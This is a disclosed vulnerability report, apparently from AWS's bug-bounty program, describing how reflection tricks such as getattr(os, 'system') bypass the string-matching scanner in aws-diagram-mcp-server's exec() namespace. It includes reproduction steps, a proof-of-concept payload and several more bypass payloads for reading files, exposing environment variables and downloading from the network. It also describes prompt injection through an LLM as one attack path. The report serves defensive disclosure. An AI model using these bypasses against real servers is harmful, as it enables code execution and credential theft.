HexBrain

AWS VDP · Report #3557138

Arbitrary Code Execution via Scanner Bypass in **aws-diagram-mcp-server** `exec()` Namespace

Informativestatus
43upvotes
9 Mar 2026disclosed

Summary

This is an informative report is related to a feature that was included in response to previous unrelated feedback in an open source repository. We thank @locus-x64 for this report, and the commitment to the security of AWS customers.

How it was found

Description: The aws-diagram-mcp-server contains an arbitrary code execution vulnerability in diagrams_tools.py. User-supplied Python code is executed via exec(code, namespace) at line 305 with a namespace containing the full os module, urlretrieve, and Python __builtins__. A security scanner (scanner.py) attempts to block dangerous calls using string pattern matching (e.g., blocking literal os.system, exec(, eval(), but this is trivially bypassed using Python reflection such as getattr(os, 'system')('cmd'), os.__dict__['system']('cmd'), or open('/etc/passwd').read(), none of which match the blocked literal patterns. Additionally, urlretrieve is injected into the namespace but not blocked at all. The AST-based import validator is sound but irrelevant since dangerous modules are pre-loaded into the exec namespace by the server itself. This allows full shell command execution, arbitrary file read/write, environment variable exfiltration (including AWS credentials), and network access — all running with the privileges of the server process.

Steps To Reproduce:

  1. Clone the repository and install dependencies for the diagram server:

    git clone https://github.com/awslabs/mcp.git && cd mcp/src/aws-diagram-mcp-server
    uv venv && uv sync --all-groups
    
  2. Launch the MCP Inspector connected to the server:

    npx @modelcontextprotocol/inspector uv --directory /path/to/mcp/src/aws-diagram-mcp-server run awslabs.aws-diagram-mcp-server
    

    Open http://localhost:6274 in browser, click Connect, go to Tools tab, click List Tools, then select generate_diagram.

  3. In the code input field, paste the following payload and click Run Tool:

    getattr(os, 'system')('echo PWNED > /tmp/mcp_poc_proof.txt')
    with Diagram("PoC", show=False):
        pass
    

    Then verify in a terminal: cat /tmp/mcp_poc_proof.txt -- it outputs PWNED. The scanner does not block this because getattr(os, 'system') does not match the literal pattern os.system checked in scanner.py:check_dangerous_functions().

  4. Additional bypass payloads that also pass the scanner and execute successfully:

    • File read: open('/etc/hostname').read() — open() is not in the blocked list
    • Command capture: getattr(os, 'popen')('whoami').read() — avoids literal os.popen
    • Env exfil: getattr(os, 'environ') — exposes all environment variables including potential AWS credentials
    • Network download: urlretrieve('https://example.com', '/tmp/downloaded.html') — not blocked at all despite being in the exec namespace
    • File write: open('/tmp/arbitrary_file', 'w').write('attacker content') — unrestricted write access

Impact

Summary

An attacker who can influence the code parameter sent to the generate_diagram tool, either directly as a connected MCP client or indirectly via prompt injection through an LLM, can execute arbitrary operating system commands with the full privileges of the server process. This enables:

  • Credential theft: Exfiltrating AWS access keys, session tokens, and other secrets from environment variables
  • Data exfiltration: Reading arbitrary files from the host filesystem (source code, config files, private keys)
  • System compromise: Writing files, installing backdoors, or modifying system configuration
  • Lateral movement: Using the server's network access and IAM role to pivot into cloud infrastructure
  • Denial of service: Killing processes, deleting files, or exhausting system resources

The vulnerability is especially dangerous in agentic workflows where users paste untrusted content that the LLM may incorporate into a diagram generation request without human review.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original